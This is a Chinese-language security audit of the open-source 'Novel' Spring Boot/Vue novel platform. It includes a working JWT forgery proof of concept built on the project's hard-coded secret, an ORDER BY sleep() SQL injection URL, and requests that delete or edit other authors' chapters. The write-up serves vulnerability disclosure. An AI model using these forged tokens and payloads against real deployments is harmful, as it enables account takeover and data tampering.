项目版本&介绍
V3.5.0 / 2025 Feb 20 发布
Novel 是一套基于时下最新 Java 技术栈 Spring Boot 3 + Vue 3 开发的前后端分离学习型小说项目,配备保姆级教程手把手教你从零开始开发上线一套生产级别的 Java 系统,由小说门户系统、作家后台管理系统、平台后台管理系统等多个子系统构成。包括小说推荐、作品检索、小说排行榜、小说阅读、小说评论、会员中心、作家专区、充值订阅、新闻发布等功能。
部署
下载后端源码 https://github.com/201206030/novel
下载前端源码 https://github.com/201206030/novel-front-web
详情查看: https://docs.xxyopen.com/course/novel/#%E5%AE%89%E8%A3%85%E6%AD%A5%E9%AA%A4
JWT 硬编码
根据: https://docs.xxyopen.com/course/novel/#%E5%AE%89%E8%A3%85%E6%AD%A5%E9%AA%A4
并没有提及需要更改 JWT 密钥,有理由推测存在用户不更改密钥直接部署
根据 JwtUtils.java
UserServiceImpl.java
构建 伪造 利用代码
package io.github.xxyopen.novel.Test;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.nio.charset.StandardCharsets;
public class JwtForgeryPoc {
// 从应用配置中获取的硬编码JWT密钥
private static final String JWT_SECRET = "E66559580A1ADF48CDD928516062F12E";
// 系统标识头常量
private static final String HEADER_SYSTEM_KEY = "systemKeyHeader";
// 系统类型常量
private static final String NOVEL_FRONT_KEY = "front"; // 前台门户系统
private static final String NOVEL_AUTHOR_KEY = "author"; // 作家管理系统
private static final String NOVEL_ADMIN_KEY = "admin"; // 后台管理系统
public static void main(String[] args) {
// 尝试伪造不同权限的用户令牌
generateFakeToken(1L, NOVEL_FRONT_KEY); // 普通用户令牌
generateFakeToken(1L, NOVEL_AUTHOR_KEY); // 作家身份令牌
generateFakeToken(1L, NOVEL_ADMIN_KEY); // 管理员身份令牌
}
/**
* 生成伪造的JWT令牌
* @param userId 要伪造的用户ID(可以是任意ID)
* @param systemKey 系统标识(front/author/admin)
*/
private static void generateFakeToken(Long userId, String systemKey) {
String token = Jwts.builder()
.setHeaderParam(HEADER_SYSTEM_KEY, systemKey)
.setSubject(userId.toString())
.signWith(Keys.hmacShaKeyFor(JWT_SECRET.getBytes(StandardCharsets.UTF_8)))
.compact();
System.out.println("伪造的" + getSystemName(systemKey) + "令牌 (用户ID: " + userId + "):");
System.out.println(token);
System.out.println("使用方法: 在HTTP请求头中添加 Authorization: " + token);
System.out.println("-------------------------------------------------------");
}
private static String getSystemName(String systemKey) {
switch (systemKey) {
case NOVEL_FRONT_KEY:
return "普通用户";
case NOVEL_AUTHOR_KEY:
return "作家身份";
case NOVEL_ADMIN_KEY:
return "管理员身份";
default:
return "未知身份";
}
}
}
postman 测试
SQL 注入
Mapper
层 XML 搜索 ${
观察到 order by 潜在排序注入
<select id="searchBooks" resultType="io.github.xxyopen.novel.dao.entity.BookInfo">
select
id,category_id,category_name,book_name,author_id,author_name,word_count,last_chapter_name
from book_info where word_count > 0
<if test="condition.keyword != null and condition.keyword != ''">
and (book_name like concat('%',#{condition.keyword},'%') or author_name like
concat('%',#{condition.keyword},'%'))
</if>
<if test="condition.workDirection != null">
and work_direction = #{condition.workDirection}
</if>
<if test="condition.categoryId != null">
and category_id = #{condition.categoryId}
</if>
<if test="condition.isVip != null">
and is_vip = #{condition.isVip}
</if>
<if test="condition.bookStatus != null">
and book_status = #{condition.bookStatus}
</if>
<if test="condition.wordCountMin != null">
and word_count >= #{condition.wordCountMin}
</if>
<if test="condition.wordCountMax != null">
and word_count <![CDATA[ < ]]> #{condition.wordCountMax}
</if>
<if test="condition.updateTimeMin != null">
and last_chapter_update_time >= #{condition.updateTimeMin}
</if>
<if test="condition.sort != null">
order by ${condition.sort}
</if>
</select>
跟踪调用链
SearchController.searchBooks -> SearchService.searchBooks -> DbSearchServiceImpl.searchBooks -> BookInfoMapper.searchBooks -> XML
传参为: BookSearchReqDto
DTO 对象,污染点: 其中 sort
参数
整个流程没有额外过滤,唯一注意在 service 层 searchBooks
方法 存在两个方法实现。
需要进入 DbSearchServiceImpl
(数据库搜索) 才能触发。
@Override
public RestResp<PageRespDto<BookInfoRespDto>> searchBooks(BookSearchReqDto condition) {
Page<BookInfoRespDto> page = new Page<>();
page.setCurrent(condition.getPageNum());
page.setSize(condition.getPageSize());
String sort = condition.getSort();
System.out.println("----------------------------------");
System.out.println(sort);
System.out.println("----------------------------------");
List<BookInfo> bookInfos = bookInfoMapper.searchBooks(page, condition);
return RestResp.ok(
PageRespDto.of(condition.getPageNum(), condition.getPageSize(), page.getTotal(),
bookInfos.stream().map(v -> BookInfoRespDto.builder()
.id(v.getId())
.bookName(v.getBookName())
.categoryId(v.getCategoryId())
.categoryName(v.getCategoryName())
.authorId(v.getAuthorId())
.authorName(v.getAuthorName())
.wordCount(v.getWordCount())
.lastChapterName(v.getLastChapterName())
.build()).toList()));
}
通过 controller
在 前端定位到 触发位置:
http://127.0.0.1:8888/api/front/search/books?keyword=%E5%94%90&pageSize=10&workDirection=0&pageNum=1&sort=sleep(2)
在 ORDER BY 子句中,SQL 引擎会为每一行计算排序的键值。在你的查询中,每个排序键都调用了 sleep(1) 函数。假设查询返回 104 条记录,那么理论上至少会产生 104 次调用,每次调用延时 1 秒,从而引入至少 104 秒的延迟。(不考虑其他算法)
结果集有4个,所以sleep(1) 延迟 4 秒 。验证成功
逻辑越权
小说章节删除
AuthorController
-> deleteBookChapter
/**
* 小说章节删除接口
*/
@Operation(summary = "小说章节删除接口")
@DeleteMapping("book/chapter/{chapterId}")
public RestResp<Void> deleteBookChapter(
@Parameter(description = "章节ID") @PathVariable("chapterId") Long chapterId) {
return bookService.deleteBookChapter(chapterId);
}
跟踪到 impl 实现层,可以发现并没有像其他接口一样做线程用户身份认证。所以处理认证的仅仅是 AuthorAuthStrategy
作家身份认证
src/main/java/io/github/xxyopen/novel/service/impl/BookServiceImpl.java
@Transactional(rollbackFor = Exception.class)
@Override
public RestResp<Void> deleteBookChapter(Long chapterId) {
// 1.查询章节信息
BookChapterRespDto chapter = bookChapterCacheManager.getChapter(chapterId);
// 2.查询小说信息
BookInfoRespDto bookInfo = bookInfoCacheManager.getBookInfo(chapter.getBookId());
// 3.删除章节信息
bookChapterMapper.deleteById(chapterId);
// 4.删除章节内容
QueryWrapper<BookContent> bookContentQueryWrapper = new QueryWrapper<>();
bookContentQueryWrapper.eq(DatabaseConsts.BookContentTable.COLUMN_CHAPTER_ID, chapterId);
bookContentMapper.delete(bookContentQueryWrapper);
// 5.更新小说信息
BookInfo newBookInfo = new BookInfo();
newBookInfo.setId(chapter.getBookId());
newBookInfo.setUpdateTime(LocalDateTime.now());
newBookInfo.setWordCount(bookInfo.getWordCount() - chapter.getChapterWordCount());
if (Objects.equals(bookInfo.getLastChapterId(), chapterId)) {
// 设置最新章节信息
QueryWrapper<BookChapter> bookChapterQueryWrapper = new QueryWrapper<>();
bookChapterQueryWrapper.eq(DatabaseConsts.BookChapterTable.COLUMN_BOOK_ID, chapter.getBookId())
.orderByDesc(DatabaseConsts.BookChapterTable.COLUMN_CHAPTER_NUM)
.last(DatabaseConsts.SqlEnum.LIMIT_1.getSql());
BookChapter bookChapter = bookChapterMapper.selectOne(bookChapterQueryWrapper);
Long lastChapterId = 0L;
String lastChapterName = "";
LocalDateTime lastChapterUpdateTime = null;
if (Objects.nonNull(bookChapter)) {
lastChapterId = bookChapter.getId();
lastChapterName = bookChapter.getChapterName();
lastChapterUpdateTime = bookChapter.getUpdateTime();
}
newBookInfo.setLastChapterId(lastChapterId);
newBookInfo.setLastChapterName(lastChapterName);
newBookInfo.setLastChapterUpdateTime(lastChapterUpdateTime);
}
bookInfoMapper.updateById(newBookInfo);
// 6.清理章节信息缓存
bookChapterCacheManager.evictBookChapterCache(chapterId);
// 7.清理章节内容缓存
bookContentCacheManager.evictBookContentCache(chapterId);
// 8.清理小说信息缓存
bookInfoCacheManager.evictBookInfoCache(chapter.getBookId());
// 9.发送小说信息更新的 MQ 消息
amqpMsgManager.sendBookChangeMsg(chapter.getBookId());
return RestResp.ok();
}
正确的做法
验证漏洞存在
点开任意一本小说加载章节目录,可以获取到完整的章节 id
信息。
在 postman 中测试 (DELETE请求)
携带任意作家身份TOKEN
# chapter/{chapterId}
http://127.0.0.1:8888/api/author/book/chapter/1337924134911365120
回到章节列表刷新删除成功
小说章节更新
同样的问题存在于更新接口
AuthorController
-> updateBookChapter
/**
* 小说章节更新接口
*/
@Operation(summary = "小说章节更新接口")
@PutMapping("book/chapter/{chapterId}")
public RestResp<Void> updateBookChapter(
@Parameter(description = "章节ID") @PathVariable("chapterId") Long chapterId,
@Valid @RequestBody ChapterUpdateReqDto dto) {
return bookService.updateBookChapter(chapterId, dto);
}
接口实现层 : BookServiceImpl.updateBookChapter
@Transactional
@Override
public RestResp<Void> updateBookChapter(Long chapterId, ChapterUpdateReqDto dto) {
// 1.查询章节信息
BookChapterRespDto chapter = bookChapterCacheManager.getChapter(chapterId);
// 2.查询小说信息
BookInfoRespDto bookInfo = bookInfoCacheManager.getBookInfo(chapter.getBookId());
// 3.更新章节信息
BookChapter newChapter = new BookChapter();
newChapter.setId(chapterId);
newChapter.setChapterName(dto.getChapterName());
newChapter.setWordCount(dto.getChapterContent().length());
newChapter.setIsVip(dto.getIsVip());
newChapter.setUpdateTime(LocalDateTime.now());
bookChapterMapper.updateById(newChapter);
// 4.更新章节内容
BookContent newContent = new BookContent();
newContent.setContent(dto.getChapterContent());
newContent.setUpdateTime(LocalDateTime.now());
QueryWrapper<BookContent> bookContentQueryWrapper = new QueryWrapper<>();
bookContentQueryWrapper.eq(DatabaseConsts.BookContentTable.COLUMN_CHAPTER_ID, chapterId);
bookContentMapper.update(newContent, bookContentQueryWrapper);
// 5.更新小说信息
BookInfo newBookInfo = new BookInfo();
newBookInfo.setId(chapter.getBookId());
newBookInfo.setUpdateTime(LocalDateTime.now());
newBookInfo.setWordCount(
bookInfo.getWordCount() - chapter.getChapterWordCount() + dto.getChapterContent().length());
if (Objects.equals(bookInfo.getLastChapterId(), chapterId)) {
// 更新最新章节信息
newBookInfo.setLastChapterName(dto.getChapterName());
newBookInfo.setLastChapterUpdateTime(LocalDateTime.now());
}
bookInfoMapper.updateById(newBookInfo);
// 6.清理章节信息缓存
bookChapterCacheManager.evictBookChapterCache(chapterId);
// 7.清理章节内容缓存
bookContentCacheManager.evictBookContentCache(chapterId);
// 8.清理小说信息缓存
bookInfoCacheManager.evictBookInfoCache(chapter.getBookId());
// 9.发送小说信息更新的 MQ 消息
amqpMsgManager.sendBookChangeMsg(chapter.getBookId());
return RestResp.ok();
}
章节 ID 和前面获取方法一致
postman 构造请求 (PUT)
# chapter/{chapterId}
http://127.0.0.1:8888/api/author/book/chapter/1337751287857459200
载荷
{
"chapterName": "章节名测试",
"chapterContent": "测试11111111111111111111111111111111111111111111111111111111",
"isVip": "0"
}
身份伪造
此外还可以利用前面已知的 JWT 伪造,获取作家身份登录指定作家后台进行管理。
存在缺陷但利用失败位置
图像上传双扩展名绕过
对于通用图像上传接口实现 ResourceServiceImpl.java
(部分信息是手动加的调试打印无影响)
@SneakyThrows
@Override
public RestResp<String> uploadImage(MultipartFile file) {
LocalDateTime now = LocalDateTime.now();
String savePath =
SystemConfigConsts.IMAGE_UPLOAD_DIRECTORY
+ now.format(DateTimeFormatter.ofPattern("yyyy")) + File.separator
+ now.format(DateTimeFormatter.ofPattern("MM")) + File.separator
+ now.format(DateTimeFormatter.ofPattern("dd"));
String oriName = file.getOriginalFilename();
assert oriName != null;
// 根据最后一个点分割文件名和后缀名 (双扩展绕过)
String saveFileName = IdWorker.get32UUID() + oriName.substring(oriName.lastIndexOf("."));
System.out.println("-----------------------------------");
System.out.println(savePath);
System.out.println("-----------------------------------");
System.out.println(saveFileName);
System.out.println("-----------------------------------");
System.out.println(fileUploadPath + savePath);
System.out.println("-----------------------------------");
File saveFile = new File(fileUploadPath + savePath, saveFileName);
if (!saveFile.getParentFile().exists()) {
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
boolean isSuccess = saveFile.getParentFile().mkdirs();
if (!isSuccess) {
System.out.println("创建目录失败");
throw new BusinessException(ErrorCodeEnum.USER_UPLOAD_FILE_ERROR);
}
}
file.transferTo(saveFile);
System.out.println("文件写入成功");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
System.out.println("-----------------------------------");
// 先写入磁盘然后判断是否是图片
if (Objects.isNull(ImageIO.read(saveFile))) {
// 上传的文件不是图片
Files.delete(saveFile.toPath());
throw new BusinessException(ErrorCodeEnum.USER_UPLOAD_FILE_TYPE_NOT_MATCH);
}
// 返回文件路径导致路径可知
return RestResp.ok(savePath + File.separator + saveFileName);
}
}
我们只需要关注其中对于文件扩展名类型的校验
// 根据最后一个点分割文件名和后缀名 (双扩展绕过)
String saveFileName = IdWorker.get32UUID() + oriName.substring(oriName.lastIndexOf("."));
若是我们传入 aa.png.html
那么得到的扩展名将会是 .html
不过由于后面的 ImageIO.read
难以同时做到绕过审查和令服务端下发文件类型为想要的类型
绕过审查只需要模拟 二次渲染 利用手法,数据嵌入图片块
// 先写入磁盘然后判断是否是图片
if (Objects.isNull(ImageIO.read(saveFile))) {
// 上传的文件不是图片
Files.delete(saveFile.toPath());
throw new BusinessException(ErrorCodeEnum.USER_UPLOAD_FILE_TYPE_NOT_MATCH);
}
任意文件读取
在 拦截器 FileInterceptor.java
中
@SuppressWarnings("NullableProblems")
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
// 获取请求的 URI
String requestUri = request.getRequestURI();
System.out.println("-----------------------------------");
System.out.println(requestUri);
System.out.println("-----------------------------------");
// 缓存10天
response.setDateHeader("expires", System.currentTimeMillis() + 60 * 60 * 24 * 10 * 1000);
try (OutputStream out = response.getOutputStream(); InputStream input = new FileInputStream(
fileUploadPath + requestUri)) {
byte[] b = new byte[4096];
for (int n; (n = input.read(b)) != -1; ) {
out.write(b, 0, n);
}
}
return false;
}
没有经过任何过滤,就直接将来源路径 拼接 fileUploadPath + requestUri
理论可以目录遍历
但是由于设计模式是直接解析路径而不是请求参数 以此结合 tomcat 和 框架本身的安全性,导致在 url 路径中直接构造目录遍历不可被正确解析。